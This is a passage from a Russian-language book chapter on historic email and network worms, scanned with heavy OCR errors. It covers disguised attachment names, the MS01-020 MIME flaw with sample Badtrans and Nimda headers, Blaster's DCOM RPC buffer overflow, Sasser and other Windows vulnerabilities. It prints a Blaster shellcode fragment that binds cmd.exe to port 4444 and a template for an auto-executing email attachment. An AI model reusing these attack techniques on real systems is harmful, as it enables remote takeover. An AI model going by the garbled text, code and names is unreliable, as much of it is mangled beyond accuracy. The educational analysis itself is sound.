< 3  Исходяшие 
^  Отправленнью 
( 5  Удаленнме 
ф  Черноеики

К онтакти ж 
_̂ та5Ьа V уевпсвНопа

СообсдениЧ; 8̂  не прочитано: 1 ]§[ Работа в сети

Рис. 6.13 <♦ Письмо с почтовь*м червем 3\меп

Ну, пользователь, давай же... шелкай левой клавишей мьпцки! И 
тот шелкал, запуская вирус.

Примитивно? Нагло? Но действенно.
Почтовне черви, используюшие подобннй трюк, визнвали весь- 

ма сувдественнне эпидемии в первом пятилетии XXI века: Е-\¥огтп. 
5\уеп, Е-\Уогт.К1е2, Е-\Уогш.Вог2е11а, Е -\У о гт.Н уЬ п я  и прочие.

Впрочем, благодаря настойчивнм разъяснениям со сторонн анти- 
вирусннх компаний и средств массовой информации через некоторое 
время пользователи внучили «опаснне» расширения файлов и вняли 
совету -  не запускать посторонних программ, приходявдих по почте.

Правда, это совсем не означало, что они в результате сильно по- 
умнели. Допустим, пришедшие гю электронной почте программн за- 
пускать нельзя. А картинки смотреть можно? А текстн читать? А му- 
знку слушать? А клиин смотреть? Запретов нет? Ну и замечательно!

ЗЕ
От; М5 Согрога^юп ТесЬпса/ ВивеЯп Кому: Согкяхпег /,
Тема: «сго®оЛ 5есцпЬу Црдгайе &

М»сго5оЛ Сопзитег
1Ь|5 15 (Ие 1а1ег( уегзюп о^2есип*у ирйа1е, ^ипе 2009, 
у/НюЬ ге5о1уез а\\ кпо^п 5есип1у уи1пегаЬШ^е5 зҒРесИпд М5 
ОиИоок апс! М 5 ОиИоок Ехргее^ а5 *е!1 аг (Ьгее пеуу|у Й15С0 
по*/ *о рго*ес* уоиг со три*ег 1тот ^Ьезе уи1пегаЬШйе5. ТЬг: 
1ипс(юпаН{у оГ а(1 ргеуюи51у ге1еа5ес! ра^сЬез.
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Поэтому следуювдий трюк, использованньш вирусописателями для 
обмана пользователей, заключался в конструировании «сложннх» 
имен файлов. Дело в том, что операционная система \¥т<1о\У5 9Х/НТ 
допускает присутствие внутри спецификации файла любого коли- 
чества точек (символов с А5С11-кодом 2ЕЬ) и пробелов (символов с 
А5СН-КОДОМ 40Ь). Поэтому имя файла, сконструированного по прин- 
ципу «МЕ_N1 Ш Е Р С  ... много пробелов ... .ЕХЕ», вполне легально. 
Для пользователя, наблюдакнцего на экране только левую часть име- 
ни, оно соответствует файлу с картинкой, но для операционной-то 
системн -  файлу запускаемой программн! Таким образом, вделкая 
мьхшкой по иконке с именем «МЕ_ЬШОЕ.ЗРС», глупьга пользова- 
тель намеревается увидеть картинку с пикантньш содержимьтм, а на 
самом деле запускает вирус. Конечно, эффективность этого метода во 
многом зависит от взаимного положения на экране элементов управ- 
ления почтового клиента, от размеров окон и т. п. Так, например, 
пользователь «ОиПоок Ехргезз» почти наверняка «купится» на улов- 
ку, а пользователь «ТЪе ВаГ,» имеет шанс увидеть полное имя файла 
червя Е-\Уопп.51аЬог.а и избежать заражения (см. рис. 6.14).

От с)кгуйп1@та1!.ги
О б р в п ш й  о яр ес  4кгу{т1@гпаН.ги

Комд Уазуа_рорк1п@ уаЬоо.сот 
Т ем а Привет!!!

872 Ь

[рмвет!
Твой адрес мне д ал одкя ваш обших друт ( первни адрес , которнй 
сиу прхтел в г о л о в у ).
Я ирдавно в кнтеряете и только что ххолучмла это т  почтовнй яшмк ’
Тал ч то  я тервсй раз хмшу электроняое ш ю ько! ! 1
Он еказеш что еслк  у  кеня возюскх/т вопросн, то я иопу спрашсвать у  
т е б я . . .
Я довольво сш татичная х обшхтельвая.
(нпжгтпь ва фото посмотреть)

Жду ответа  о т  т е б я ! ! !
Натпии векного себе м то что тн хочешь знать обо мне.
Пока! Пока!
:)))))))))

Рис. 6.14 ❖ В окне клиента ТНеВа1 
видна часть подлинного имени червя

Интересной разновидностью махинаций с именами вложений яв- 
ляется принцип действия вируса Е-\¥огт.М ураг1у. Этот червяк на- 
змвал файл вложения именем «\¥\У\У.МУРАКТ¥.УАНОО.СОМ». 
Поди разберись, кликаешь ли тм по ссмлке на почтовьш интернет- 
сервис «УаЬоо» или запускаешь исполняемьш файл с расширением 
«.СОМ».
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Казалось бм, все вьппеупомянутае «трюки» рассчитанн на мало- 
квалифицированную публику, а опмтнне пользователи не должнн 
попадаться на столь примитивную удочку. Но в первой половине 
2004 года Интернет потрясла эпидемия почтового червя Е-\¥огтп. 
М уй о о т , ориентированного не на «дураков», а наоборот -  на «шиб- 
ко умннх». Червь маскировался под «квитанцию», отснлаемую поч- 
товьш релеем назад, после неудачной попнтки доставить письмо. 
«Ваше прошлое письмо, -  сообшал он, -  находяшееся сейчас в заар- 
хивированном аттаче, адресату не доставлено» (см. рис. 6.15).

те»вде.т$д 
(00000096.МЗ С) Ме*8аде 
31 756 байг

От р̂ Ьп8̂ ег@ро$1кт.ш Комд ^ к̂0сМ.ги Тема 11пс1е1уегэЬ1е:
417Ь

Тоиг ю езза д е

Т о : гоаЕЬброзС. к а . ги
ЗиЬ̂ есС: СезЪ
З е п ъ : О еа# 28 Лап 2004 1 1 :5 5 :2 3  +0300

с!хс1 пог. г е а с Ь  сЬ е  £о11охг1пд г е с 1 р 1 е п с  (з )  :

гоа ги 8 р озг .К го .ги  оп  28 ^ап 2004 0 9 :5 6 :3 6  +0300
ТЪе гес1р1епс. пагое 13 пос г е с о д Ш г е й

ТЬе НТЗ-10 о 1 сЬ е  о г1 д Ш а1  т е з з а д е  1з :  с * з и ;а ш 
; р - г - з с у 1 е ;  1-ННб- Н1П.Ю 4012 80656Р0РРС312

Н ЗЕ Х С Н :1Н З:г-зсу1е:1«10:тас-Н А 1Ь 1 0 (00ОСО5А6) 11п)спо»п

Рис. 6.15 ❖ Почтовуй червь Мудоот 
маскируется под «квитанцию»

Удивленньга пользователь немедленно бросался вняснять, ка- 
кое именно его письмо не нашло своего адресата. Он терял всякую 
осторожность, своими собственннми руками распаковнвал архив и... 
разумеется, запускал «заразу».

Все способн обмана доверчивого пользователя перечислпть невоз- 
можно -  их сотни! Методов борьбн тоже немало.

Современнне версии почтовнх клиентов умеют самостоятельно 
распознавать тип пришедшего файла и предупреждать пользователя: 
«Внимание, в почтовом вложении -  программа»! Некоторне поч- 
товне релеи не пропускают письма с архивированннми аттачами, 
что, конечно, очень неудобно для пользователей, но против Мус!оош 
подобннх червей достаточно действенно. Установленннй в режиме 
монитора антивирус также может заблокировать запуск пришедшей
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по почте программм. Ну а обший подход к противодействию подоб- 
ного рода «заразе» -  просто не активировать (то есть не читать, не 
запускать, не просматривать) подозрительнме почтовне вложения: 
документн, программн, картинки и т. п.

Впрочем, как будет продемонстрировано ниже, даже и такой под- 
ход не всегда оказнвается действенньш.

6.5.2. Ошибки при обработке почтовмх вложений
В обвдем программном коде \¥\УЛУ-клиента 1п(;егпе1  Ехр1огег и поч- 
тового клиента Ои11оок Ехргезз версий 5.01 и 5.5 имелись грубме 
алгоритмические ошибки, связаннь1е с неправильннм распознава- 
нием типа файла, помевденного в почтовое вложение (аттач). Если 
в служебннх заголовках письма описать этот файл как картинку, 
музнкальннй фрагмент, видеоклип и т. п., а вместо него присоеди- 
нить к электронному письму исполняемую программу, то она будет 
запувдена автоматически в тот момент, когда пользователь просто 
знакомится с текстом письма. Ведь операционная система распозна- 
ет содержимое файла не по внешнему описанию, а по вн\треннему 
содержимому (в данном случае по сигнатуре «М2 »),

Вот фрагмент письма, расснлаемого червем Е-\Уопп.\¥1п32.А112:
-- Ьоипа
СсптегП-Туое: аисИо/х-иау; 
паше= «Ьагеуег. ехе"
СоШ епҒ-Тгапз^ег-ЕпсосИпд: Ьазе64 
Соп1:еп1:-1С:

Этот почтовнй червь, несмотря на некоторне неточности (в част- 
ности, он не совсем верно определял местоположение файла адрес- 
ной книги), вмзвал в 2 0 0 1  г. довольно обширную эпидемию.

Другой способ использования уязвимости заключается в «махи- 
нациях» с письмами, у которнх поле «Соп1еп1-Туре» имеет значение 
«1ех1:/Ьгт1». Все почтовне клиентн автоматически отображают такие 
письма не в виде текста, а в виде Ьшй-странички. Давайте вспомним 
основн язнка гипертекстовой разметки: в текст странички вставляют- 
ся «тэги» -  служебнне метки, ограниченнне угловьши скобками: «<>> 
и «>». В контексте данной главн особенно интересен тэг «<1&ате>>, 
предназначенннй для вставки одной Ь1т1-странички в другую. Для 
того чтобн обмануть Ои(;1оок Ехргезз, достаточно при описании ат- 
тача в служебном заголовке указать, что вложенньга объект являет- 
ся текстом, закодированннм при помовди метода «(|ио(:ес1-рг1п1.аЬ1е>>;
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а вместо этого подсунуть программу. Вот пример оформления «зараз- 
ного» письма в черве Е-\Уогт.№т(1а:
М1МЕ-Уегз1оп: 1.0
СопИепг-Туре: ти 1г 1 раг1 /аП:егпаг1уе; Ьоцпйагу=...
Соптепг-Туре: гехт/М тХ;
Сопгеп-г-Тгалз^ег-Епсовтд: рио1:е()-рг1п1:аЬ1е

<И1:т1>
<тШ е></Ш 1е>
<Ьойу>
<1Ггаив згс=30с!с1: фэйл_червя Йе1дп1=300 *1(й||=300>
</‘1?гът>

</вос1у>
< /М т 1> . ..
Соп^епт-Ю: файл_черай

Программа, помешенная в аттач, по-прежнему, запускалась авто- 
матически, стоило только пользователю взглянуть на текст письма.

Рассмотренная ошибка описана в бюллетене МтсгозоЛ с индексом 
М501-020 «1псоггес1 М1МЕ Неайег Сап Саике 1Е Го Ехеси1 е Е-таЛ 
АИасЬтеп!». Ей бмли подверженн клиентм 1пСегпе( ЕхрЬгег и 
Оийоок Ехргезз версий 5.01, которне по умолчанию устанавливались 
вместе с \У1пс1о\у8 98 ЗЕ и \Уш(1о\уз 2000. Не исправлена она бьша 
и в ГпсегпеС ЕхрЬгег 5.5. Обширнейшие эпидемии почтовнх чер- 
вей Е-\Уогт.АШ, Е-ДУогтЛЧтмЬ, Е-\Уогт.А\угоп, Е -\¥огт.8 \уеп, 
Е-Шогт.Юег, Е-\Уогт.Не<:8ку и т. п. в 2001-2003 годах оказались 
возможнм благодаря именно этой уязвимости. От заражения не спа- 
сала даже рекомендованная вьше «сверхбдительность» со стороньт 
пользователя. После обнаружения ошибки фирмой М^сгозоЙ: бнли 
изданн патчи... но только для американских версий 1п1 егпеС Ехр1огег 
и ОиЙоок Ехргезз, да и то не для всех разновидностей. А для русских, 
французских, немецких, китайских и прочих локализованнмх версий 
никаких патчей не бнло. Отказавшись исправлять ошибки, МкговоЛ 
в 2001-2003 годах фактически вннудила пользователей ускореннн- 
ми темпами переходить на \¥ 1П(1о\уз ХР с 1п(етеС Ехр1огег версии 6.0 
(которнй тоже кишмя кишел ошибками, правда, иннми).

Впрочем, пользователей почтового клиента ТЬеВаЬ и встроеннмх 
ШШШ-клиентов МеГзсаре Ма\ч§аСог/Соттишса1;ог и Орега эти 
эпидемии практически не коснулись. А после того как большинство 
пользователей перешли на современнме версии почтовмх клиентов, 
эпидемии червей, использовавшпх уязвимость М501-20, потихоньку 
заглохли сами собой.
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6.5.3. Ошибки в процессах ЗУСН08Т и 1.5А35
Системнне процесси «ЗУСНОЗТ» и «ЬЗАЗЗ»- играют важную роль 
в \Мпс1о\У5 КТ -  они содержат большое количество служебньхх по- 
токов, необходиммх для работа операционной системм. Ранее, в раз- 
деле, посвяшенном маскировке ^Утйочго-вирусов, приводились при- 
мерн некоторнх таких потоков. К сожалению, именно в них бнли 
обнаруженн уязвимости, позволявшие вредоносному коду прони- 
кать в систему извне, по сети.

Один из потоков процееса «ЗУСНОЗТ» отвечает за службу 
БСОМ КРС -  подсистему, которая обеспечивает информационное 
взаимодействие друг с другом прикладннх и системннх программ- 
ннх компонентов, расположенннх как на одной, так и на разннх 
машинах сети. К сервисам подсистемн возможен как локальньга 
доступ, так и обрашение по сети через порт 135 при помовди прото- 
колов семейств ТСР/1Р, Ке(ВЮ5 и 1РХ/5РХ. В июле 2003 г. груп- 
па «сернх шляп», именуюших себя Ь50 -  Ьаз1 54а§е о£ Ве1еп'ит 
(«ГГоследняя стадия похмелья»), обнаружила в сервисной функции 
«СоСес1п81;апсеҒготҒ1]е» библиотеки «0ЬЕ32.0ЬЬ» критическую 
уязвимость -  под содержимое одного из строковнх параметров бнл 
зарезервирован массив постоянной длинн 544 байта:
НЙЕ51ЛТ СоСеПпзТапсеҒгошҒхХеС 
СОЗЕШ/ЕҒИИҒО « рЗегуеПп^о,
С 1 5 1 0  * р с 1 5 10 ,

Шпкпоип » рипкОиГег,
ЭИОЗВ о м С 1 5С т х ,

ЭКОЯО дг^Ноае,
01ЕСНАЯ » згИапе, / /  <- Неверно используеннй параметр 
1Л0МС сгт>о,
ми1ТТ_ох » гаиаНе5и1Тз 
);

Библиотека загружалась в адресное пространство процесса 
«5УСН08Т»-, а функция активно использовалась службой КРС 
БСОМ. Это означало возможность атаки на КРС ОСОМ по сети в 
соответствии с рассмотренной вьше схемой «переполнения буфера».

Ошибка присутствовала практически во всех распространенннх 
в то время операционньгх системах ветви КТ: 1У1П(1о\\'5 КТТ 4.0, \У1пс1от 
2000, \¥1п<1о\уз ХР, \Упкк)\\-5 2003 5ег\тег и модификациях, внполнен- 
ньк сторонними фирмами (например, Стзсо). Очень бнстро, букваль- 
но через две недели китайская команда «сермх шляп» ХГосиз сумела 
использовать эту уязвимость, разработав и опубликовав соответст- 
вуюший эксплойт. Программисгн из МкгозоЙ операгивно внпусти-
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ли бюллетень безопасности М 503-026 и «заплатку» против уязвимо- 
сти. Однако «заплаткой»- воспользовались только наиболее бдитель- 
нне и ответственнне сетевие администраторн, а десятки миллионов 
рядовнх пользователей тревожную информацию просто проигнори- 
ровали. Ну в самом деле, не бежим же мн сломя голову в ближайшую 
аптеку, услншав по радио о появлении в Китае или Мексике какой- 
нибудь новой разновидности «птичьего» или «свиного» гриппа!

Вирус-червь, использовавший уязшшость М503-026, появился 
в середине августа 2003 года -  это бнл знаменитнй ̂ еЬ-ХУогт.^11132. 
Ьоуеяап (он же \У32.В1а81ег, он же \У32.М5В1а81, он же Рога). Этот 
вирус (и его клонн) организовал огромную по масштабам эпидемию.

Вирус атаковал компьютерьх со случайно внбранннми 1Р-адреса- 
ми, поснлая на порт 135 ТСР-пакетн с зкеИ-кодом. Чересчур длинное 
имя файла переполняло вьхделенннй под него буфер и «затирнло» 
адрес возврата из функции «СоСе1 1 п5{апсеҒготҒ11е» новьш значе- 
нием (18759ҒЬ для \¥1пс1о\у5 2000 и 100139БЬ для \\гт(1о\У8 ХР). Э то 
бнл адрес участка адресного пространства, принадлежахцего процес- 
су «8УСН05Т» и содержашего команду ^ М Р  Е5Р». Таким образом, 
внход из функции происходил куда-то вглубь «5УСН05Т», но почти 
сразу же управление возврашалось на начало буфера, содержагдего 
зЬеИ-код.

Этот зЬеП-код при помовди методов, характерннх для \Уш32- 
вирусов, искал в памяти « К Е КН Е и 2.0  ЬЬ», а внутри -  все необхо- 
димне функции. Вот очень поучительннй фрагмент зЬеИ-кода, при 
помоши которого вирус становился сетевнм сервером и осушествлял 
запуск командного интерпретатора «СМВ.ЕХЕ»:

риз^1 5 0 1 1 0 0 0 2 (1 тип  0/  — д е и т а гр а м м н н й , п*
ШОУ е с х ,  е з р

Р  и 5 М 16(1 ; дга-!на идентификатора
ризИ есх : а д р е с  и а е н ти ф и к а то р а  у з л а
риб(Ч еЬх ; сокет
с а  11 й м о гй  р ! г  [ е з 1-|-20Ь] ; са11 Р1 по

с а И аиогс Р 1 г  [8 5 1 + 2 4 1 1 ] ; са 11 И з Т е п

са11 с]«огс ргг [е$1 2̂8п] ;
* о у  б а х ,  е а х  ;

риьй 657865п

ризИ 2Е646063И ;

; Заполнйние с т р у к т у о н  ЗТАВТЦРНҒОА

шоу [е в р + 4 8 Ь ] ,  ес!х  ; П ер е н а зн а^ е н и е  8Т01МР11Т

с а П  а ссе р т 

Хэндл оокета 

Строка имени 

' СИВ.ЕХЕ' . 0
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я о у  [езр+4СЬ], ейх
шоу [езр+50П], ейх
1еа еах, [езр+10Ь1

Перенаэначение ЗТООШРЦТ 
Переназначение ЗТОЕНН

ризп езр
риз(1 еах
ризп есх
ризЛ есх
ризп есх
ризп 1

РЯ0СЕ55.1НҒ0ЙМАТЮН
5ТАНТиР1МҒОА
0
0

ризй есх
ризИ есх

Признак наследуемости атрибу 
0

риап с!«ого оТг [е81+3йй]
ризп есх

Адрес 'СМО.ЕХЕ', 0 
0

са 11 Ймогр ргг Гез1+ЮЛ] ; са11 СгеаТеРгосеззА

Из анализа приведенного фрагмента можно заключить:
О червь открмвал порт 4444 и создавал связанньтй с ним сокет;
О червь переназначал дескрипторн ввода-вьшода запускаемого 

процесса на вновь открмтмй сокет, заставляя таким образом 
«СМБ.ЕХЕ» вьшолнять командн, приходявдие не с клавиату- 
рм от пользователя, а по сети -  от «клиентской» части червя, 
оставшейся на атакуювдем компьютере.

Итак, вирус пол}7чал полнмй контроль над системой и внполнял 
все необходимне действия по докачке своего тела на диск. А потом 
вирус вьшолнял системньш запрос «ЕхкРгосезз», и грубо прерван- 
нмй <?8УСН08Т>> внлетал, что приводило к необходимости переза- 
грузки системн (см. рис. 6.16).

О Система завершает райога. Сохраниге 
даннме и вьйдиге из системь!. Все 
несохраненнью изменения буауг 
псггерянь1 Отключение системь! вмзвано
мтАитноштзузтЕм

Время до спгключения: 00:00:33
—  Сообшение---------------------------------------

Необходимо перезагрузигь Мпйоиз. 
поскольку произошла непреавиаенная 
остановка службм Ғ)ето(е Рсосейисе 
Са11 (НРС)_________________________

Рис. 6 .16  ❖ Сообидение операционной системь! 
в присутствии червя В1аз1ег
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По некотормм оценкам, оригинальнмй -«штамм» №<;-\Уопп.\У11132. 
Ьоуехап.а заразил летом-осенью 2003 г. около 9,5 млн компьютеров. 
По счастью, он ничего не уничтожал на пользовательских компью- 
терах, только посилал на домен \утс!о\У5ир(1аГе.сот многочисленнме 
мусорнме запросм, пьггаясь нарушить работу центра по распростра- 
нению «заплаток». Но бесконтрольное размножение вируса в Ин- 
тернете и само по себе принесло пользователям массу неудобств. 
В те недели и месяцм, когда распространялся Не1-\Уопл.\¥1п32. 
Ьоуевап, мировой трафик бмл буквально наводнен агрессивнмми 
ТСР-пакетами, несушими в себе зЬеИ-код. Стоило подключить неза- 
ицшценньш компьютер к Интернету, и он подвергался вирусной атаке 
буквально через несколько минут работм, вне зависимости от того, 
где находился физически -  на Чукотке или на мнсе Горн. Атакован- 
ная операционная система автоматически перезагружалась... потом 
еше раз... и еше... и опять... и снова... Классические антивирусм не по- 
могали, ведь они реагировали на -«заразу», оформленную в виде фай- 
ла, а ^е£-\Уогт.\Ут32.Ьоуе8ап начинал работу как часть находяше- 
гося в памяти процесса «ЗУСНОЗТ». Рекомендованное некоторьши 
горячими головами полное опслючение службм ОСОМ КРС приво- 
дило к отказу работн множества прикладнмх программ (например, 
входяших в М5 ОШсе). Компьютер без установленной «заплатки» 
спасало лишь физическое отсоединение от сети или срочная установ- 
ка файрвола (брандмауэра), блокируюшего трафик через 135-й порт. 
В те же августовские дни 2003 г., когда бушевала эпидемия червя 
\Уогт.\^ш32Хоуе8ап, на северо-востоке США начались массовме 
отключения электроэнергии. Версия официальной комиссии, рас- 
следовавшей обстоятельства инцидента, не подтвердила вину червя 
в аварии, но... слишком уж мала вероятность подобнмх «случайньтх» 
совпадений.

Возможно, ситуация развивалась бм по еше более худшему сцена- 
рию, если бм не «контрчервь» Кек-^огт.^УтЗ^.УУУсШа (известньга 
также под именем ^асМ ), использовавший как ту же уязвимость, 
так и некоторме другие, которьш бмл запушен в разгар эпидемии 
^е(;-\¥огт.\У1п32.Ьоуе8ап.а. Он удалял с компьютера своего «не- 
друга», а потом самостоятельно скачивал с сайта \\71Г)с1оц'511Р(1а1е.сот 
«заплатку» и принудительно инсталлировал ее в систему. Впрочем, 
через несколько дней, когда распространение № 1-\¥огт.\Ут32. 
Ьоуеяап.а замедлилось и пошло на убмль, пришлось бороться уже с 
№ 1 -\Уогт.\Уе1сЬ1а, нарушившим работу сети компании А1г Санас1а. 
Кто разработал и активировал «контрчервя»? Автор № 1-\¥огт.
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\У1п32Хоуе$ап.а, напуганньш вьшушеннмм из бутшлки джинном? 
Анонимнме сотрудники какой-нибудь антивирусной компании? Не 
помог прояснить ситуацию и американец Джефри Ли Парсон, аресто- 
ванньга в конце лета за создание и распространение разновидности 
Ке4-\Уогт,\У1п32Хоуе8ап.Ь Увн, он оказался всего лишь плашато- 
ром чужих идей и модификатором чужих разработок. Кто же должен 
нести ответственность за создание оригиналов червя и «контрчервя», 
до сих пор неизвестно.

В обгцем и целом вирус ^е^-^Уогт.ШтЗ^.Ьоуе.чап бьш побежден 
к концу 2003 г., но количество уязвимнх систем оставалось и остает- 
ся еше значительнмм, поэтому сетевме черви, используюшие ошибку 
М503-026, создаются и распространяются до сих пор. Впрочем, круп- 
ннх эпидемий они уже не внзнвают.

В апреле 2004 г. бнла обнародована информация об уязвимости 
в другом системном процессе -  «ЬЗА55», ее описание включено 
в бюллетень безопасности МкгозоЛ с индексом М504-011. А уже че- 
рез две недели появился вирус ^еЬ-^огт.АУтЗ^.Зазвег, использо- 
вавший эту «днру».

Процесс «Ь5А55.ЕХЕ» (Еоса1 5есипСу АшЬопСу 5 е т с е )  -  часть 
подсистемн безопасности Ш1пс1о\уз КТ, один из его служебннх пото- 
ков поддерживает процедуру аутентификации локальннх и сетевнх 
пользователей. Разумеется, любне запросн на установление связи 
с другим компьютером проходят через эту службу. Вирус создавал 
от 128 до 1024 потоков, «шаряших» по Интернету, и атаковал опе- 
рационнме системн \¥ 1пс1о\у75 2000/ХР/2003 через порт 445, якобн 
пьггаясь установить сетевое взаимодействие по протоколу Ке1ВЮ5. 
На сей раз ошибочньга фрагмент, приводяший к переполнению бу- 
фера, передаче управления на вирусннй зЬеИ-код и «падению» про- 
цессов -«Е5А55.ЕХЕ» и «5ЕК\71СЕ5.ЕХЕ», находился не в сторонней 
библиотеке, а непосредственно в теле одного из потоков этой службм.

Червь № 1-\Уогт.\У1п32.8а$$ег по своей внутренней организации 
бьш почти точной копией червя N е^-^Уогш Ьоуезап , за ис-
ключением, разумеется, «хитрой строки» и адресов в зЬеП-коде. Даже 
командн от атакуюшей машинм он слушал через порт с не слишком 
оригинальньш номером 5554. Ничего удивительного, ведь к весне 
2004 г. исходннй текст червя № 1-\¥огт.\¥т32.Ьо\е:>ап бнл досту- 
пен каждому желаюшему.

И опять «заплатка», вьшушенная в срочном порядке, просто не 
успела помешать стремительному развитию эпидемии червя N0 (1- 
\У огт.\\гт32.5а88ег. Негативное влияние червя ошутили на себе по-
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5 у з1 ет  «ГтМогп/п

О Т1гна *у й е т  15 йиЛ|пд йоотп. Р1еа*е *ауе а11 
ууогк 1п ргодге$$ апй 1од о«. Апу игвауей 
сИапдез ууШ Ье 1оз(. Т№ зйиМсмп ууаз 
1гйа1ес1 Ьу МТ ДЦТНОгаТУВУЗТЕМ

Лте ЬеГоге 8Ь1*с1о«п: 00.00.21

—  Ме*®аде ------------------------------------
ТЪе зуз е̂т ргооезз 

^ЛЮС^^З^зуз^етЗгветсез ехе' 
(егтга*ес1 ипехрейейу уу№ йа(иЕ сойе 
1. ТЛе зуз1ет у у !1 п о \^ зЬи( с1о у у п  апй 
геетаг1.

Рис. 6.17 ❖ Сообшение операционной системи 
в присутствии червя Заззег

чта Тайваня, система управления авиарейсами Вг1ШзЬ Ашуауз, фон- 
довая биржа Франции, правительственнме департаментн ЮАР и т. п. 
Всего в мае 2004 г. оказались зараженньши более миллиона хостов. 
Интересно, что и против этого червя воевал специальньш «контр- 
червь» -  ^е1-\¥огт.\У!п32.ПаЬЬег. Впрочем, он не столько воевал, 
сколько паразитировал: зная интерфейс доступа через 5554-й порт, 
закачивал себя на зараженную машину и удалял «недруга», занимая 
его место.

М1СГОЗОЙ анонсировала приз в 250 000 долл. тому, кто поможет 
отнскать автора червя № (>\Уопп.^11132.5а$8ег, и в мае 2004 года 
в лапн полиции угодил 18-летний немецкий школьник Свен Яшан. 
Он отделался условньш сроком, а вскорости получил работу в одной 
из антивирусннх фирм, что внзвало острую негативную реакцию со 
сторонм компьютерной обвдественности.

Итак, в настоявдий момент уязвимости М 803-026 и М504-0И офи- 
циально считаются ликвидированннми, но на практике потеряют 
актуальность лишь тогда, когда полностью «вьшрут» операционнне 
системь1 \¥ тс 1о% г5 2000, \У1П(1о№з ХР и \Утс1о\У5 2003 5епгег. Но пока 
этого не произошло, сохраняется ненулевой шанс подцепить в Интер- 
нете как № < ;-\Уогт.\Ут32.1.оуе8ап и № (>\Уопп.\Ут32.8а5$ег, так 
и более современннх сетевмх червей (например, № 1-\Уогт.\Ут32. 
РайоЬок или ^ек-Шэпп.^ТпЗ^.МуКоЬ), несуших в себе и активно 
применяюших цельш «букет» 5Ье11-кодов для разннх «дмр», включая 
М503-026 и М504-01.
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6.5.4. Прочие «дмрм»
Сугцествуют и другие уязвимости, позволяюшие сетевьш червям 
проникать на подключеиньга к Интернету компьютер. Вот наиболее 
«популярнне дьгрн» (включая и те, которьте бмли ранее рассмотре- 
нн), расположеннне в хронологическом порядке.

Итак, уязвимость М500-072 позволяла получать доступ к сетевьш 
ресурсам \У1П(1ои'з 9Х (дискам, каталогам, принтерам и т. п.), подо- 
брав всего лишь первую букву нароля. Наиболее эффективно эту тех- 
нологию использовали сетевне черви семейства №£-\Уопп.Ора80Й;, 
поснлавшие свои запросн на порт 139.

Уязвимость М501-020 приводила к возможности автоматическо- 
го запуска программн, присланной вместе с электронньш письмом, 
при попьггке просмотра текста этого письма. Данную «днру» широко 
использовали многочисленнне почтовне черви, распространеннне 
в 2001-2003 годах, например № 1>\Уопп.АИ2 , № 1-\Уогт.5^еп, Ке4- 
\¥огт.К1ег и т. п. Уязвимости бнли подверженн программн ОтЛоок 
Ехргезз и 1п1егпес ЕхрЬгег версий 5.01 и 5.5.

Уязвимость М501-033, обнаруженная в 2001 г., характеризовалась 
переполнением буфера в подсистеме 15АР1, которую использовал 
М5 1 пГегпе1; М огтайоп 5егуег (М 5115), работаюший под управлени- 
ем \Ут<Ьи'з 2000. Примерно через месяц после обнаружения «днрн» 
появились и черви, лезушие в нее: №1-\Уогт.\Уш32.Со<1еге<1. Пер- 
вая версия этого вируса заразила около 200 000 веб-серверов; следую- 
шая, имевшая более совершенньш алгоритм вьгчисления случайного 
1Р-адреса, -  уже 360 000; разновидность Сос1еге<1 II -  450 000 и т. д. 
«Рядовше»- машинн обьиннх пользователей от этих вирусов не стра- 
дали, зато не поздоровилось серверу Белого дома. Вирус приходил 
через порт 80 (стандартннй порт протокола НТТР), не записивался 
на диск в виде файла, а сушествовал только в памяти компьютеров, 
поэтому классические антивирусн в принципе не могли ему противо- 
действовать. К счастью, через некоторое время черви семейства N0 1- 
\ \гогт.\¥1п32.Со{1еге(1 самоуничтожились.

Уязвимость М502-039, обнаруженная в 2002 г., приводила к пере- 
полнению буфера в М5 50,Ь 5ег\гег 2000 и к возможности перехва- 
та управдения программньш кодом, присланньш в 1ШР-пакете на 
порт 1434. Заражению подвергались преимутественпо веб-серверн, 
работаюшие под управлением \У1пс1о\\'з 2000 и М5 115, а рядовне 
пользователи ошушали лишь замедление и нарушение работн в Ин- 
тернете, связанное с увеличением трафика и перегрузкой (а иногда
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и отключением) веб-серверов. В феврзле 2003 г. крупную эпидемию 
внзвал червь № £ -\\Ъ гт .\У т3 2 .8 1 а тте г  (он же ЗаррЬке и Не1кего),
использовавший эту уязвимость. Червь имел длину всего 376 байтов 
и с.ушествовал только в виде вмчислительного процесса в памяти 
компьютера. В авторстве червя признался член вирусописательской 
группьг «29А» Веппу.

«Днра», описанная в бюллетене М1СгозоЙ с индексом М503-007, 
заключалась в переполнении «неограниченного» буфера на веб-сер- 
вере, основанном на М5 П5. Среди червей, пьггавшихся использо- 
вать эту уязвимость через порт 80, можно назвать № 1-\Уогт.\Уш 32. 
\Уе1сЬ1а (он же ^асЬ1), ведь для борьбн с ^ е1-\¥огт.\¥т32 .Ьоуе5ап  
нужно бнло распространяться опережаюшими темпами, вот он и ис- 
пользовал сразу несколько различнмх «дмр».

Уязвимость М503-026 в службе ОСОМ КРС хорошо нам знакома. 
Черви типа № 1> \¥огт.\Ут32.Ьоуехап, № <:-\Уогт.\У1п32.\Уе1сЬ1а и 
т. п. атаковали систему, поснлая на порт 135 запросн с некорректно 
сформированньши данньши. В результате происходило переполне- 
ние буфера в процессе «5УСН05Т.ЕХЕ», позволявшее червю полу- 
чить управление и проникнуть на компьютер. Характерньш призна- 
ком подобньгх атак являются сообшение об остановке сервиса ОСОМ 
КРС и перезагрузка операционной системн.

М504-007 -  ошибка в библиотеке «М5А5М1.ВЬЕ» операцион- 
ной системм ^ЛпсЬ^з ХР (доступ через 445-й порт), обнаружена в 
2004 года. На этот раз программистн МкгозоЙ сработали оператив- 
нее вирусописателей, вьшустив «заплатку» заблаговременно. Вре- 
доноснне программм, прежде всего «троянцн», начали появляться 
лишь спустя некоторое время. Насколько можно судить, для напи- 
сания саморазмножаюшихся сетевнх программ эта уязвимость не 
очень удобна, так как способна внзнвать лишь нарушения в работе 
компьютера.

«Днра» М504-011 тоже бнла рассмотрена нами ранее. Поснлка 
агрессивного зЬеП-кода на порт 445 приводила к переполнению бу- 
фера в службе М5 Е5А (процесс «Е8А55.ЕХЕ») и захвату червем 
управления. Наиболее ярким представителем сетевмх вирусов по- 
добного рода является ^е£-\¥огт.\¥т32.8а58ег, внзвавший эпиде- 
мию весной 2004 г.

М504-045 -  уязвимость в службе \\'1К5 (\ ¥ т с ! о 8 Nа т ( 5 е т с е )  
операционннх систем \ ¥ 1  п(1о\уй МТ/2000/2003 5епгег позволяла за- 
пускать на удаленном компьютере произвольнмй код. Обнчно эту 
службу, доступную через порт 42. включают в локальннх сетях, по-
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этому уязвимость М504-045 среди вирусописателей популярностью 
